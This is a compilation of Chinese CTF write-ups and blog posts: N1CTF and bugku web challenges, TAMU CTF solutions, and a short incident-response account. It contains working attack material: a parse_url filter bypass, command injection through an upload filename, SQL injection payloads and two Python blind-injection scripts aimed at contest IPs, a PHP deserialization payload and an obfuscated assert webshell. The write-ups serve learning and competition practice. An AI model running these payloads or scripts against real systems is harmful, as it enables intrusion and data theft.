N1CTF funning eating cms writeup

前言

  这道题get到点时已经太晚了,比赛期间的进度也可以算是达到了80%,略微遗憾。

  打开题目的链接,发现只有login登陆表,尝试访问register.php,返回注册页面,先注册一个账号。用注册的账号登陆后发现是如下页面。




  开始猜测是文件包含漏洞,一开始是尝试读取index.php的源码,但发现没有返回数据。




  然后尝试只读index,发现这才是正确的打开方式:)




  解密后的代码如下:
1
2
3
4
5
6
7
8
9
<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
Header("Location: user.php?page=info");
}
else{
include "templates/index.html";
}
?>

  用类似的办法将其他文件给读出来。
info.php

1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly ");
}
include "templates/info.html";
?>


info.php

1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly ");
}
include "templates/guest.html";
?>


login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
require_once "function.php";
if($_POST['action'] === 'login'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = login($user,$pass);
if(!$res){
Header("Location: index.php");
}else{
Header("Location: user.php?page=info");
}
}
else{
Header("Location: error_parameter.php");
}
}else if($_REQUEST['action'] === 'logout'){
logout();
}else{
Header("Location: error_parameter.php");
}
?>


register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
require_once "function.php";
if($_POST['action'] === 'register'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = register($user,$pass);
if($res){
Header("Location: index.php");
}else{
$errmsg = "Username has been registered!";
}
}
else{
Header("Location: error_parameter.php");
}
}
if (!$_SESSION['login']) {
include "templates/register.html";
} else {
Header("Location : user.php?page=info");
}
?>


function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}


function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}

function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}

function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}

function updateadmin($level,$user)
{
$user = Filter($user);
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}

function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}

function logout()
{
session_destroy();
Header("Location: index.php");
}
?>


config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
echo "no sql connection".mysqli_connect_error();
$mysqli=null;
die();
}
?>


user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>

  以上就是一开始能读到的源码。想试图尝试读取flag、ffffllllaaaaggg,但发现有过滤,会被重定向到hacker。然后在用zap抓包的时候发现了hint。




  但由于过滤的原因,无法访问此文件,但这个hint也为我们指明了方向,接下来尝试了一下敏感目录扫描,然后就发现了.viminfo泄露。




1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly ");
}
include "templates/update.html";
?>

  尝试访问了一下:




  再去读取updateadmin233333333333333.php的源码,发现跟updateadmin.php的源码相同。

  然后自己当时想到的点就是:

  • 1、绕过isadmin验证
  • 2、绕过filter_directory()过滤

  先尝试的进行register注册账号时进行注入,致使isadmin置为1,尝试构造了的payload:hahaha','123','1')-- +,但是可以看到有白名单限制,它过滤了空格,所以这个猜想看起来行不通。

  再进行filter_directory绕过时自己没有看出tips,看出来估计这里就不用停那么久了。。。后来逼得没办法了,就将它里面的关键代码拿去google了一下,这下还真有发现。




  打开后就找到了payload:

这里用到了 parse_url 函数在解析 url 时存在的 bug,通过:////x.php?key=value 的方式可以使其返回 False。

  拿着这个payload,发现果真有用。




  读它的源码:
1
2
3
4
5
6
7
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload2323233333.html";

?>

  发现并没有什么有用的信息,接着访问一下。




  在读upllloadddd.php的源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>

  将关键部分的代码Google一下,然后又发现了几乎一样的源码。。。




  他这里的payload是:




  由于找到此篇文章的时候已经比赛结束了,,拿着它提供的脚本跑了一会却没有按他说预言的生成php文件,所以就从ctftime上找了一篇writeup照着复现一下。

  因为他执行的是system()函数,所以这里可以造成任意代码执行漏洞。






  再查看上一级目录:






  读取这个文件,发现直接cat ../flag_233333不行,/被过滤掉了,不过我们可以cd ..再读。






  至此,成功拿到flag。这道题自己学到了很多,也意识到了自己的经验还是不足,以后必将勤加练习,当然还是要留意细节跟善用搜索引擎。。。

  希望能在这条路上走远一点:)

参考链接

[]N1CTF 2018 - Funning eating cms

[]Web中的条件竞争漏洞

[]GeekPwn2016跨次元CTF Writeup

[]web

N1CTF 77777 writeup

前言

  这是我及我所在的团队第一次参加正式的CTF比赛,所取得的成绩也还算满意,比赛过程中作者负责web方向,比赛中的成果就是两道77777

77777

  题目描述:






  这道题最坑的就是一开始没有判断出是否注入成功的依据,后面经师兄指导才发现依据就是注入的数字是否已经改变,当然这道题的环境官方也说明每个队注入没有隔离开,造成即使注入成功也可能被别的队刷走,从而影响判断。

  又因为它是sptintf("xxx%d%s"),所以注入应该在str的地方,也就是在hi中进行注入,payload:hi=000 where ord(substr(password, 1, 1))>100,因为是在update users set中注入,所以这里不需要再使用union,select等方法了。完整的payload如下图:




  如果注入成功,则会返回你的flag字段,如:




  由于这个题的环境不稳定,不太适合脚本的判断,所以,就手工注入一遍了。

77777 2

  这道题跟上一道提供的描述是一样的,不同的是对hi进行了更严格的过滤,上一道的payload就无效了。

  这道题过滤了and or || & &&(为了不产生二义,这里用空格分隔),但是唯独没有过滤掉|。所以我们可以选择|进行位注入。然后在检测一下,没有被过滤的是:substr select from if,所以考虑用if替代where进行判断。

  经过一轮苦逼的测试,终于搞出一个payload:hi=000 | IF (substr((select substr( pw from 1)),1,1)>'z',1,0),这里( pw中间一定要有空格,不然无法绕过。另一个要说的就是pw from 1,它会返回pw字段从1开始的所有值。如:

1
2
pw = 'flag{123456}'
pw from 1 ---> flag{123456}

  payload:




  判断的依据是返回的数字的最后一位,如:




  如果是返回错误则是如下:





另一个tips就是数字的后一位一定要0,不然如果是1的话就无法判断了。1 |任何也是真。

  再然后就是逐位的判断,有些数字会被过滤掉,这点上不知道是我的payload有问题还是本来就是这样。。。。




  如上,逐位比较的时候使用+1的方法,如果直接用2,3,4,…的话有些数字会被过滤,还有就是有些字符也会被过滤,但无关flag字段。
  附上脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding:utf-8 -*-
import requests

url = 'http://47.52.137.90:20000/'
flag = ''

for i in range(1, 50):
lc = ''
for a in range(i):
lc += '+1'
lc = lc[1:]
sql = '000 | IF (substr((select substr( pw from 1)),{0},1)>\'{1}\',1,0)'
for ch in range(33, 128):
sqli = sql.format(lc, chr(ch))
data = {
'flag': 123,
'hi': sqli
}
# print(data)
html = requests.post(url, data=data)
text = html.text
# print(text)
if '123000' in text:
flag += chr(ch)
print(flag)
break
else:
pass

bugku ctf writeup2

前言

  这篇开始bugku高级篇。。。

Web

XSS注入测试

  题目描述:

1、请注入一段XSS代码,获取Flag值
2、必须包含alert(key),key会自动被替换

  随便测试了一下,发现会对字符进行实体编码。




  注意到页面是utf-8编码,id传入代码会在s中运行,考虑将<>进行unicode编码,这样当代码被替换进去运行时,utf-8编码又会将其变回来
  所以payload:?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e,访问后查看源代码即可得到flag。

### never give up
  查看题目的源代码如下:



  访问1p.html,注意是在查看源代码的地方访问,然后可以发现加密了的字符串。



  拿去解密,这里不累赘。直接放出源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>


  可以看到flag文件已经暴露出来,直接访问也可以拿到flag。但这里介绍绕过检测拿到flag的方法。可以看到满足拿flag的条件有三个:
一:id

    id既要不等于0(if(!$_GET['id'])),又要等于0($id==0)。所以这里我们要利用php的松散性,字符串跟0比较(==)是成立的,所以payload:"aaa" == 0
二:php伪协议

    $data = @file_get_contents($a,'r');的存在可以使用php://input在绕过,所以:a=php://input,然后在postbugku is a nice plateform!。
三:字符截断     假设:
1
2
3
$b = "%0012345"
substr($b,0,1) --> 将返回空(null
strlen($b)>5 --> 是成立的


  所以最终的payload:?id=aaa&a=php://input&b=%00abcde


never give up

  查看网页源代码可以发现存在源码泄露漏洞。




  使用php伪协议:php://input,php://filter可以读取index.php和hint.php的base64源码。



  这里直接贴解密后的代码。
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>


hint.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>


  从$password = unserialize($password);中很明显可以看到是反序列化漏洞,所以构造读取flag的payload:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  所以最终的payload为:



  这里要注意的是file=hint.php,因为要利用php对象反序列化要先声明对象,所以要将hint.php包含进来。

  总的来说,这道题的考察点算是比较多的,包括:php伪协议、文件包含、php反序列化,所以质量还是可以的。

### 过狗一句话
  题目描述:
>http://120.24.86.145:8010/
>送给大家一个过狗一句话
><?php $poc=”a#s#s#e#r#t”; $poc_1=explode(“#”,$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s’]) ?>

  这个一句话组合起来实际是:assert($_GET['s']),验证一下,发现确实可行。



  但发现在执行system函数的时候无返回结果估计被禁用了。



  接着使用php读取文件的代码:
1
eval("echo file_get_contents('flag.txt');")





  这里的flag.txt是我自己猜测的,但结果还真被我猜对了。。。

  这道题解得有点侥幸,如果flag不存放在flag.txt,那么这方法将利用不了,所以为了解决这个问题,自己特别找了这道题的writeup,介绍一种使用php代码遍历当前目录的文件的方法:php中的glob()函数,详细说明如下:



  所以我们可以使用print_r(glob("*.*"))来打印当前目录下存在的文件。



  然后再介绍几种读取文件的方法:
1
2
3
show_source('flag.txt');
var_dump(file("flag.txt"));
print_r(file("flag.txt"));


### 字符?正则?
1
2
3
4
5
6
7
8
<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>


  这个还是比较简单的,其中一个payload:?id=keyaaakeybbbbbkey:/c/dddkeye.


各种绕过

  题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>

  sha1的绕过跟md5一样使用数组即可,注意请求的方式。



web8

  题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

  解题的关键在于extract($_GET)函数,它会将数组中的值按键值赋值,例如:?id=1&name=junay&key=key,经过extract的处理后会产生:

1
2
3
$id = 1;
$name = "junay";
$key = "key";

  所以我们构造$ac$fn,其中$fn使用php://input伪协议。最终的payload:



细心

  打开页面发现是404,但是对这个站熟悉的话,正常返回的404是不一样的,所以这个404是骗人的,而且通过网络可以验证这一点。




  同时,这里看到No such file or directory.,还给你加红显示,估计就是想让你爆目录,拿出扫描工具,结果如下。



  访问robots.txt,可以发现线索。



  再跟下去可以发现真正的页面



  因为题目说想办法变成admin,所以尝试构造x=admin试试,结果flag就出来了。


求getshell

  题目:




  这道题是看writeup做出来的,一开始测试时没有想到改Content-Type,其实只需要将其中的一个字母大写就可以了,然后测试php2, php3, php4, php5,phps, pht, phtm, phtml,发现只有php5能绕过。所以payload就是:




  
  
  
  
  
  

python sql盲注脚本

前言

  sql注入中要数盲注比较慢,尤其是没有脚本辅助的情况下,所以写个sql盲注脚本在ctf中有比较重要的作用。此文的程序语言为python。下面的脚本是对pragyan ctf web4的解决方案,所以payload中使用了base64编码,这里遇到一个小坑,比赛的时候使用base64.b64encode()发生了编码错误,又因为时间紧张,所以就放缓了脚本的编写,但现在已经解决了加密的编码问题。

  python3 base64编码问题的解决方法为:

1
2
3
4
# 先将string型的test3转换成bytes加密
testi = base64.b64encode(test3.encode('utf-8'))
# 再将bytes型的testi转换成string
testi = str(testi, encoding='utf-8')

  脚本中为了提高爆破效率使用了二分查找的方法,并且使用返回页面的大小作为正确与否的判断,详细代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
# -*- coding:utf-8 -*-
from time import sleep

import requests
import base64

# 适用于poc: 1' or 1=1 -- +

url = 'http://128.199.224.175:24000/'

poc1 = "1' or 1=1 -- +"
sqli = base64.b64encode(poc1.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
right_len = len(r)

poc2 = "1' or 1=2 -- +"
sqli = base64.b64encode(poc2.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
wrong_len = len(r)
judge = wrong_len + (right_len - wrong_len) // 2

def fuzz(sql, test, pos1, pos2, tmp):
left = 32
right = 127
while True:
mid = (left + right) // 2
# print('正在测试字符:', str(mid))
test3 = test.format(pos1 - 1, pos2, mid)
testi = base64.b64encode(test3.encode('utf-8'))
testi = str(testi, encoding='utf-8')
params = {'spy_name': testi}
html = requests.post(url, params)
r = html.text
if len(r) > judge:
tmp += chr(mid)
return tmp

sqli = sql.format(pos1 - 1, pos2, mid)
sqli = base64.b64encode(sqli.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) > judge:
left = mid
else:
right = mid

database = ''
sql = "1' or (ascii(substr(database(),{0},1)))>{1} -- +"
test = "1' or (ascii(substr(database(),{0},1)))={1} -- +"
for pos in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。

test2 = sql.format(pos,1)
sqli = base64.b64encode(test2.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('======================')
print('[*]database: ',database)
print('======================\n')
break

left = 32
right = 127
while True:
mid = (left + right) // 2
# print('正在测试字符:', str(mid))
test3 = test.format(pos, mid)
testi = base64.b64encode(test3.encode('utf-8'))
testi = str(testi, encoding='utf-8')
params = {'spy_name': testi}
html = requests.post(url, params)
r = html.text
if len(r) > judge:
database += chr(mid)
print('[+]database: ', database)
break

sqli = sql.format(pos, mid)
sqli = base64.b64encode(sqli.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) > judge:
left = mid
else:
right = mid



tables_name = {}
sql = "1' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))>{2} -- +"
test = "1' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))={2} -- +"
for table_num in range(1, 20):
sqli = sql.format(table_num - 1, 1, 1)
sqli = base64.b64encode(sqli.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('[*]已无其他表!')
break
print('[+]正在爆破表', str(table_num))
table = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(table_num - 1, str_num, 1)
sqli = base64.b64encode(test2.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('======================')
print('[*]table: ', table)
tables_name[table_num] = table
print('======================\n')
break

table = fuzz(sql, test, table_num, str_num, table)
print('[+]table: ', table)

print('******************')
for key in tables_name:
print('[*]table' + str(key) + ': ' + tables_name[key])
print('******************\n')


tb = int(input('>请选择需要爆破的表(数字):'))
# for tb in tables_name:
sql = "1' or (ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))>{2} -- +"
test = "1' or (ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))={2} -- +"
colunms_name = {}
for column_num in range(1, 20):
sqli = sql.format(column_num - 1, 1, 1)
sqli = base64.b64encode(sqli.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('[*]已无其他字段!')
break
print('[+]正在爆破字段', str(column_num))
column = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(column_num - 1, str_num, 1)
sqli = base64.b64encode(test2.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('======================')
print('[*]column: ', column)
colunms_name[column_num] = column
print('======================\n')
break

column = fuzz(sql, test, column_num, str_num, column)
print('[+]column: ', column)

print('******************')
for key in colunms_name:
print('[*]column' + str(key) + ': ' + colunms_name[key])
print('******************\n')


cl = int(input('>请选择需要爆破的字段(数字):'))
sql = "1' or (ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))>{2} -- +"
test = "1' or (ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))={2} -- +"
key = []
for num in range(1, 20):
sqli = sql.format(num - 1, 1, 1)
sqli = base64.b64encode(sqli.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('[*]已无其他值!')
break
print('[+]正在爆破第', str(num))
tmp_key = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(num - 1, str_num, 1)
sqli = base64.b64encode(test2.encode('utf-8'))
sqli = str(sqli, encoding='utf-8')
params = {'spy_name': sqli}
html = requests.post(url, params)
r = html.text
if len(r) < judge:
print('======================')
print('[*]key: ', tmp_key)
key.append(tmp_key)
print('======================\n')
break

tmp_key = fuzz(sql, test, num, str_num, tmp_key)
print('[+]key: ', tmp_key)

print('******************')
for tt in key:
print('[*]key: ' + tt)
print('******************\n')

  上面的代码还可以优化,比如增加sqlmap中的–dump功能,将所有的表跟字段都爆破出来。

tamu ctf writeup

前言

  好像很久没更新blog了,昨天接到任务要做tamu的ctf,所以做完记录一下。

1、介绍题

  Flag很明显(gigem{Howdy!}),主要是熟悉flag形式。



2、杂项1




  将附件下载后使用binwalk分析文件,可以看到有隐藏文件,再使用foremost分离文件,解压后可以在document.xml里找到flag。这里另一种解题方法就是将这些附件还原成doc或docx。






  所以flag就是:Flag=ICanRead!(不要自己脑补格式…)

### 3、杂项2



  按要求登陆,登陆后。



  Tips: 使用ls –a,简单粗暴点。

### 4、web3



  看到robots就预感跟robots.txt有关,打开网页,google bot。。。









  Flag:gigem{craw1ing_bot$!}

### 5、web4






  注意标题“SQLi”,明显是一道sql注入题,sqlmap三连后可以得到账号密码。登陆后即可得到flag:gigem{ScRuB7h3InpU7}。





6、Scenario – MCCU:01_logs

  这道题连蒙带猜。。。一看题目,先fuzz一波。。




  得到:1:web;2:access.log…

  因为一般入侵都不太可能一次试探就成功,所以打算在error.log里找IP,这里看完后也就两个IP:172.16.20.134跟172.16.20.24。

得到:3:172.16.20.24。

  时间有点难找,所以我先跳过4,先做5。在access.log里把172.16.20.24所访问的页面全找出来,然后在/wp-content/plugins/wpshop/includes/ajax.php发现异常,提交后提示正确,所以时间也就是这次访问的时间。


  所以flag:

1
2
3
4
5
* 1:web;
* 2:access.log;
* 3:172.16.20.24;
* 4: Nov/08-20:32:49;
* 5:/wp-content/plugins/wpshop/includes/ajax.php。

  注意4的时间格式,这里我交完就忘了要不要将Nov转成11,,,,再次提交又不再验证,,,反正时间是这个。。。

  后来google了一下,发现是WordPress WPshop - 电子商务1.3.9.5,任意文件上传漏洞,这里mark一下。

Payload:

7、Scenario – MCCU:00_intrusion

  Fuzz即可。。。。



8、Scenario – ClandestineEnforced:01_Phishing

  题目的意思是找出钓鱼邮件,打开下面三个邮件,1,2很明显就是钓鱼邮件,所以flag:1,2,直接提交即可。



9、web1

  这道题为自己蠢哭。。。。都说reading了,,,就是脑子抽风了不知道咋整,还好解了其他题,脑子回来了。。。




  慢慢reading,,,终于在某一行找到了flag。。。。



  所以flag:gigem{F!nD_a_F!AG!}

### 10、web2






  打开burp suite,把两个按钮的包抓一下,



  把veggie base64解码一下,可以发现有东西。



  再看看第二个包,



  再把cookie的值base64解码一下。



  所以flag:gigem{CrAzzYY_4_CO0k!es}

### 11、Scenario – NotSoAwesomeInc:00_intrusion
  将附件下载后认真找就能找到答案。


记黑塔的一次应急响应

发现问题

  今天下午15时左右,跟往常一样登陆后台查看信息,在输入账号密码后居然发现提示账号密码不正确!第一次以为自己输入错误,但接连输入几次后发现都是错误,心里顿时毛骨悚然,mmp的,难道那么快就被hack掉了??赶紧远程服务器!!

处理过程

  在登陆服务器后第一件事就是history判断服务器是否被get shell,然而却发现并没有可疑的操作,当然也有可能被擦除掉,但我相信这个可能性比较低。由于不清楚危险等级,所以只能把web服务先关闭,换成正在升级的公告,这也是为了避免不必要的影响。

  关闭服务器后,马上查看运行日志,第一顺序就是判断后台是否沦陷,使用正则提取POST/GET到后台地址的记录,发现条数并不是很多,而且查看今天操作的时间也跟自己操作的时间重合,昨天只有三条记录,看着这心里顿时松了口气,由此可见后台地址的重要性,这也是用户数据的最后一颗稻草。

  然后查看一下日志的记录大小,没把我吓一跳,39W+的记录,我就是对黑塔项目再自信也不认为两三天内能产生那么多正常的访问记录。




  接着为了分析日志方便,我把几十兆的日志文件从服务器上拉了下来,欣慰的是下载速度能达到2M左右,所以也没耽误什么时间。用UE打开后,随便一拉就发现了某用户(这里之所以说某是因为后面通过日志发现了他)在激活页面疯狂提交重置admin密码的验证码,好家伙,足足爆破了3个小时左右,接近10W条记录。






  为了更清晰的还原他的操作,继续分析日志,此时重点就在爆破前和爆破后的日志记录了,先翻到爆破前,发现此用户尝试注册admin用户,但提示用户存在,注册失败!接着根据日志,他跑到了重置密码页面,一开始使用admin + 他的邮箱重置密码,但这肯定不行。这时,他灵光一闪【奸笑】,想到了他注册时给他发送邮件的邮箱,这也正是admin的邮箱!!然后,他再使用重置密码,但激活码发送到了admin的邮箱,这才出现了39W+的爆破记录,很明显,这将无疾而终。但他成功的把admin的账号给冻结了,导致一开始出现的admin用户无法登陆现象。

总结和修复方案

  可以看到,整件事的产生都是因为admin信息的泄漏,而admin及其邮箱都是本地开发时使用的调试信息,在上线前,作者对系统中用户可控的各个输入点都进行了严密的过滤,但却没能防止敏感信息泄漏。所以,在以后的开发中,一定要注意调试环境跟生产环境间敏感信息的保护,像拿到调试环境所泄漏的敏感信息从而攻克整个生产系统的案例并不少见,如默认用户、test用户等。

  修复方案:

  • 删除默认管理员账号,禁用诸如adminroot用户名作为管理员账号;
